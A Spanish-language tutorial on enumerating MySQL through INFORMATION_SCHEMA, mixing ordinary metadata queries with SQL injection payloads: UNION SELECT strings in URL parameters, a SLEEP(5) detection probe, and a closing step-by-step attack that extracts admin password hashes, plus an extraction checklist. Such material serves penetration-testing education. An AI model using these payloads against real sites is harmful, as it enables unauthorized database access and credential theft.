Database Enumeration - INFORMATION_SCHEMA
¿Qué es INFORMATION_SCHEMA?
INFORMATION_SCHEMA es una base de datos virtual de MySQL que contiene metadatos sobre todas las BD, tablas, columnas, usuarios, privilegios, etc.
Es como un "registro de BD" que MySQL usa internamente. Cuando haces una enumeración en SQL Injection, aquí es donde sacas toda la información.
MySQL Server
├── information_schema (← Aquí está todo documentado)
├── mysql (credenciales de usuarios)
├── performance_schema
└── target_app (tu BD objetivo)
├── users
├── products
└── ordersINFORMACIÓN QUE PUEDES EXTRAER
✓ Todas las bases de datos disponibles
✓ Todas las tablas en cada BD
✓ Todas las columnas en cada tabla
✓ Tipos de datos de cada columna
✓ Índices y claves primarias
✓ Usuarios y permisos
✓ Character sets y collations1. SCHEMATA - Enumerar Bases de Datos
¿Qué es?
La tabla INFORMATION_SCHEMA.SCHEMATA contiene información sobre todas las bases de datos disponibles en el servidor MySQL.
Una "schema" en MySQL es simplemente una base de datos.
Comando Equivalente
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT SCHEMA_NAME AS `Database`
FROM INFORMATION_SCHEMA.SCHEMATA;
-- Opción 2: SHOW DATABASES (corto, equivalente)
SHOW DATABASES;Ejemplos Prácticos
Listar todas las BDs
SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA;
-- Resultado:
information_schema
mysql
performance_schema
target_app
wordpress
shopListar solo BDs que NO son de sistema
SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME NOT IN ('information_schema', 'mysql', 'performance_schema');
-- Resultado:
target_app
wordpress
shopListar BDs que coincidan con patrón
-- Todas las BDs que comienzan con 'w'
SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE 'w%';
-- Resultado:
wordpress
-- Todas las BDs que contienen 'app'
SELECT SCHEMA_NAME
FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE '%app%';
-- Resultado:
target_appEn SQL Injection
URL: ?id=1' UNION SELECT SCHEMA_NAME, 2 FROM INFORMATION_SCHEMA.SCHEMATA --
Resultado (en HTML):
- information_schema
- mysql
- performance_schema
- target_app (← Target encontrado)
- wordpress2. TABLES - Enumerar Tablas
¿Qué es?
La tabla INFORMATION_SCHEMA.TABLES contiene información sobre todas las tablas de todas las BDs.
Aquí ves qué tablas existen en cada BD, su tipo (BASE TABLE o VIEW), y qué engine usan (MyISAM, InnoDB, etc).
Comando Equivalente
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT table_name, table_type, engine
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app';
-- Opción 2: SHOW TABLES (corto, equivalente)
SHOW TABLES
FROM target_app;Ejemplos Prácticos
Listar todas las tablas de una BD
SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app';
-- Resultado:
users
products
orders
comments
admin_users
settingsVer tipo y engine de cada tabla
SELECT table_name, table_type, engine
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app'
ORDER BY table_name DESC;
-- Resultado:
table_name | table_type | engine
-------------|------------|-------
users | BASE TABLE | InnoDB
products | BASE TABLE | MyISAM
orders | VIEW | NULL
comments | BASE TABLE | MyISAM
admin_users | BASE TABLE | InnoDB
settings | BASE TABLE | MyISAMInterpretación:
- BASE TABLE: Tabla normal que almacena datos
- VIEW: Vista (consulta almacenada, no almacena datos)
- engine NULL: Las VIEWs no tienen engine específico
Listar tablas de TODAS las BDs
SELECT table_schema, table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema NOT IN ('information_schema', 'mysql', 'performance_schema')
ORDER BY table_schema, table_name;
-- Resultado:
table_schema | table_name
--------------|----------
target_app | users
target_app | products
target_app | orders
wordpress | posts
wordpress | comments
wordpress | users
shop | products
shop | customersListar tablas que coincidan con patrón
-- Tablas que comienzan con 'user'
SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app'
AND table_name LIKE 'user%';
-- Resultado:
users
user_roles
user_permissionsContar tablas por BD
SELECT table_schema, COUNT(*) as tabla_count
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema NOT IN ('information_schema', 'mysql', 'performance_schema')
GROUP BY table_schema;
-- Resultado:
table_schema | tabla_count
--------------|----------
target_app | 6
wordpress | 8
shop | 5En SQL Injection
URL: ?id=1' UNION SELECT table_name, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='target_app' --
Resultado (en HTML):
- users (← contiene credenciales)
- products
- orders
- comments
- admin_users (← crítico)
- settings (← claves API)3. COLUMNS - Enumerar Columnas
¿Qué es?
La tabla INFORMATION_SCHEMA.COLUMNS contiene información sobre todas las columnas de todas las tablas.
Aquí ves qué columnas tiene cada tabla, sus tipos de datos, si puede ser NULL, valor default, etc.
Comando Equivalente
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT column_name, data_type, is_nullable, column_default
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'users'
AND table_schema = 'target_app';
-- Opción 2: DESCRIBE (corto, equivalente)
DESCRIBE target_app.users;
-- Opción 3: SHOW COLUMNS
SHOW COLUMNS
FROM users
FROM target_app;Ejemplos Prácticos
Listar columnas de una tabla
SELECT column_name, data_type
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'users'
AND table_schema = 'target_app';
-- Resultado:
column_name | data_type
------------|----------
id | bigint
username | varchar
password | varchar
email | varchar
created_at | datetime
is_admin | tinyintVer información completa de columnas
SELECT column_name, data_type, is_nullable, column_default, column_key
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'users'
AND table_schema = 'target_app'
ORDER BY ordinal_position;
-- Resultado:
column_name | data_type | is_nullable | column_default | column_key
------------|-----------|-------------|----------------|----------
id | bigint | NO | NULL | PRI
username | varchar | NO | NULL | UNI
password | varchar | NO | NULL |
email | varchar | NO | NULL | UNI
created_at | datetime | YES | CURRENT_TIMESTAMP |
is_admin | tinyint | YES | 0 |Interpretación:
- column_key PRI: Primary Key (identificador único)
- column_key UNI: Unique Key (valores únicos)
- is_nullable NO: No puede ser NULL (requerido)
- is_nullable YES: Puede ser NULL
- column_default: Valor por defecto si no especificas
Columnas de todas las tablas de una BD
SELECT table_name, column_name, data_type
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app'
ORDER BY table_name, ordinal_position;
-- Resultado:
table_name | column_name | data_type
-------------|-------------|----------
admin_users | admin_id | int
admin_users | admin_user | varchar
admin_users | admin_pass | varchar
products | product_id | int
products | name | varchar
products | price | decimal
users | id | bigint
users | username | varchar
users | password | varchar
users | email | varcharEncontrar columnas sensibles
-- Buscar columnas que contengan 'password'
SELECT table_name, column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app'
AND column_name LIKE '%password%';
-- Resultado:
table_name | column_name
-------------|----------
users | password
admin_users | admin_pass
users_backup | pass_hash
-- Buscar columnas que contengan 'email'
SELECT table_name, column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app'
AND column_name LIKE '%email%';
-- Resultado:
table_name | column_name
-----------|----------
users | email
admin_users| admin_email
newsletters| subscriber_email
-- Buscar columnas que contengan 'key' o 'token'
SELECT table_name, column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app'
AND (column_name LIKE '%key%' OR column_name LIKE '%token%');
-- Resultado:
table_name | column_name
-----------|----------
settings | api_key
users | auth_token
sessions | session_keyEn SQL Injection
URL: ?id=1' UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='target_app' --
Resultado (en HTML):
- users | id
- users | username
- users | password (← Encontrado!)
- users | email
- admin_users | admin_pass (← Crítico!)
- settings | api_key (← Secretos!)4. STATISTICS - Enumerar Índices y Claves
¿Qué es?
La tabla INFORMATION_SCHEMA.STATISTICS contiene información sobre índices y claves (PRIMARY KEY, UNIQUE, etc).
Los índices son importantes porque te muestran qué columnas son claves primarias o únicas, lo que te ayuda a entender la estructura de la BD.
Comando Equivalente
-- Opción 1: INFORMATION_SCHEMA (detallado)
SELECT column_name, index_name, seq_in_index
FROM INFORMATION_SCHEMA.STATISTICS
WHERE table_name = 'users'
AND table_schema = 'target_app';
-- Opción 2: SHOW INDEX (corto, equivalente)
SHOW INDEX
FROM users
FROM target_app;Ejemplos Prácticos
Ver índices de una tabla
SELECT column_name, index_name
FROM INFORMATION_SCHEMA.STATISTICS
WHERE table_name = 'users'
AND table_schema = 'target_app';
-- Resultado:
column_name | index_name
------------|----------
id | PRIMARY
username | UNIQUE_username
email | UNIQUE_email
created_at | INDEX_created_atInterpretación:
- index_name PRIMARY: Clave primaria (identifica único registro)
- index_name UNIQUE_*: Valores únicos (no puede haber duplicados)
- index_name INDEX_*: Índice normal (para búsquedas rápidas)
Ver orden de columnas en índice compuesto
SELECT column_name, index_name, seq_in_index
FROM INFORMATION_SCHEMA.STATISTICS
WHERE table_name = 'orders'
AND table_schema = 'target_app'
ORDER BY index_name, seq_in_index;
-- Resultado:
column_name | index_name | seq_in_index
------------|-----------------|----------
user_id | PRIMARY | 1
order_date | PRIMARY | 2
product_id | FK_product | 1En SQL Injection
URL: ?id=1' UNION SELECT column_name, index_name FROM INFORMATION_SCHEMA.STATISTICS WHERE table_name='admin_users' --
Resultado:
- admin_id | PRIMARY (← Clave primaria)
- admin_user | UNIQUE_admin_user (← Username único)5. USER_PRIVILEGES - Enumerar Usuarios y Permisos
¿Qué es?
Información sobre qué usuarios existen en MySQL y qué permisos tienen.
Comandos
-- Ver usuario actual
SELECT USER();
SELECT CURRENT_USER();
-- Ver todos los usuarios
SELECT user FROM mysql.user;
-- Ver permisos de usuario específico
SHOW GRANTS FOR 'webapp'@'localhost';
-- Ver permisos del usuario actual
SHOW GRANTS FOR CURRENT_USER();Ejemplos Prácticos
Ver usuario actual
SELECT USER();
-- Resultado: webapp@localhost
SELECT CURRENT_USER();
-- Resultado: webapp@localhostInterpretación:
- webapp = usuario
- localhost = desde qué host se conecta
Listar todos los usuarios
SELECT user, host FROM mysql.user;
-- Resultado:
user | host
---------|----------
root | localhost
root | 127.0.0.1
webapp | localhost
admin | 192.168.1.100
readonly | % (← Puede conectarse desde cualquier host)Ver qué permisos tiene un usuario
-- Permisos globales
SELECT * FROM mysql.user WHERE user='webapp';
-- Permisos en BD específica
SELECT * FROM mysql.db WHERE user='webapp';
-- Permisos en tabla específica
SELECT * FROM mysql.tables_priv WHERE user='webapp';
-- Permisos en columna específica
SELECT * FROM mysql.columns_priv WHERE user='webapp';Ver permisos en formato readable
SHOW GRANTS FOR 'webapp'@'localhost';
-- Resultado:
GRANT SELECT, INSERT, UPDATE ON `target_app`.* TO 'webapp'@'localhost'
-- Interpretación:
-- webapp puede: SELECT, INSERT, UPDATE
-- En: todas las tablas de target_app
-- NO puede: DELETE, ALTER, DROPDetallar permisos por tabla
SELECT TABLE_NAME, GRANT_PRIV, SELECT_PRIV, INSERT_PRIV, UPDATE_PRIV, DELETE_PRIV
FROM information_schema.TABLE_PRIVILEGES
WHERE GRANTEE = "'webapp'@'localhost'";
-- Resultado:
TABLE_NAME | GRANT | SELECT | INSERT | UPDATE | DELETE
-----------|-------|--------|--------|--------|-------
users | N | Y | Y | Y | N
products | N | Y | Y | Y | N
admin_log | N | N | N | N | N (← Sin acceso)En SQL Injection
URL: ?id=1' UNION SELECT user, host FROM mysql.user --
Resultado:
- root | localhost
- webapp | localhost (← El usuario actual)
- admin | 192.168.1.100
- readonly | % (← Acceso desde cualquier lado)6. CHARACTER_SETS - Codificación
¿Qué es?
Los character sets definen qué caracteres puede almacenar una BD (ASCII, UTF-8, etc).
SELECT CHARSET FROM INFORMATION_SCHEMA.CHARACTER_SETS;
-- Resultado:
utf8
utf8mb4
latin1
binary
ascii7. COLLATIONS - Colaciones
¿Qué es?
Las collations definen cómo se comparan y ordenen los caracteres (sensibilidad a mayúsculas, acentos, etc).
SELECT COLLATION_NAME
FROM INFORMATION_SCHEMA.COLLATIONS
LIMIT 10;
-- Resultado:
utf8_general_ci (← Case-Insensitive)
utf8_bin (← Binary, diferencia mayúsculas)
utf8mb4_unicode_ciMETODOLOGÍA COMPLETA - Paso a Paso
En SQL Injection, Enumeras Así:
Paso 1: ¿Qué BDs hay?
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;Resultado esperado:
information_schema
mysql
performance_schema
target_app ← TARGET ENCONTRADOPaso 2: ¿Qué tablas en target_app?
SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app';Resultado esperado:
users ← Credenciales
admin_users ← CRÍTICO
products
settings ← Claves API
ordersPaso 3: ¿Qué columnas en 'users'?
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'users' AND table_schema = 'target_app';Resultado esperado:
id | bigint
username | varchar ← Interesante
password | varchar ← CRÍTICO
email | varchar
created_at | datetimePaso 4: ¿Qué columnas en 'admin_users'?
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'admin_users' AND table_schema = 'target_app';Resultado esperado:
admin_id | int
admin_user | varchar ← Username
admin_pass | varchar ← PASSWORD
admin_email | varcharPaso 5: Extraer datos
SELECT admin_user, admin_pass FROM admin_users;Resultado esperado:
superadmin | $2y$10$hash...
admin | $2y$10$hash...TABLA RESUMEN - Todos los INFORMATION_SCHEMA
| Tabla | Uso | Ejemplo Query |
|---|---|---|
| SCHEMATA | Listar BDs | SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA |
| TABLES | Listar tablas | SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='db' |
| COLUMNS | Listar columnas | SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' |
| STATISTICS | Ver índices | SELECT column_name, index_name FROM INFORMATION_SCHEMA.STATISTICS WHERE table_name='users' |
| USER_PRIVILEGES | Ver usuarios | SELECT user FROM mysql.user |
| TABLE_PRIVILEGES | Permisos por tabla | SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| CHARACTER_SETS | Codificaciones | SELECT CHARSET FROM INFORMATION_SCHEMA.CHARACTER_SETS |
| COLLATIONS | Colaciones | SELECT COLLATION_NAME FROM INFORMATION_SCHEMA.COLLATIONS |
SQL INJECTION - EJEMPLO
URL: http://192.168.1.100/app/search.php?product=test
Paso 1: Detectar SQLi
?product=test' AND SLEEP(5) --
✓ Tarda 5 segundos = VULNERABLE
Paso 2: Enumerar BDs
?product=test' UNION SELECT SCHEMA_NAME, 2 FROM INFORMATION_SCHEMA.SCHEMATA --
Resultado: target_app encontrada
Paso 3: Enumerar tablas
?product=test' UNION SELECT table_name, 2 FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='target_app' --
Resultado: admin_users encontrada
Paso 4: Enumerar columnas
?product=test' UNION SELECT column_name, 2 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='admin_users' --
Resultado: admin_user, admin_pass encontrados
Paso 5: Extraer datos
?product=test' UNION SELECT admin_user, admin_pass FROM admin_users --
Resultado:
- superadmin | $2y$10$hash...
- admin | $2y$10$hash...
✓ CREDENCIALES COMPROMETIDASCHECKLIST DE ENUMERACIÓN
- [ ] Enuméré todas las BDs
- [ ] Identifiqué tabla con credenciales
- [ ] Enuméré columnas de tabla crítica
- [ ] Encontré columnas con password
- [ ] Extraje datos sensibles
- [ ] Verifiqué permisos del usuario actual
- [ ] Busqué columnas API_key o secrets
- [ ] Busqué tablas admin o privilegiadas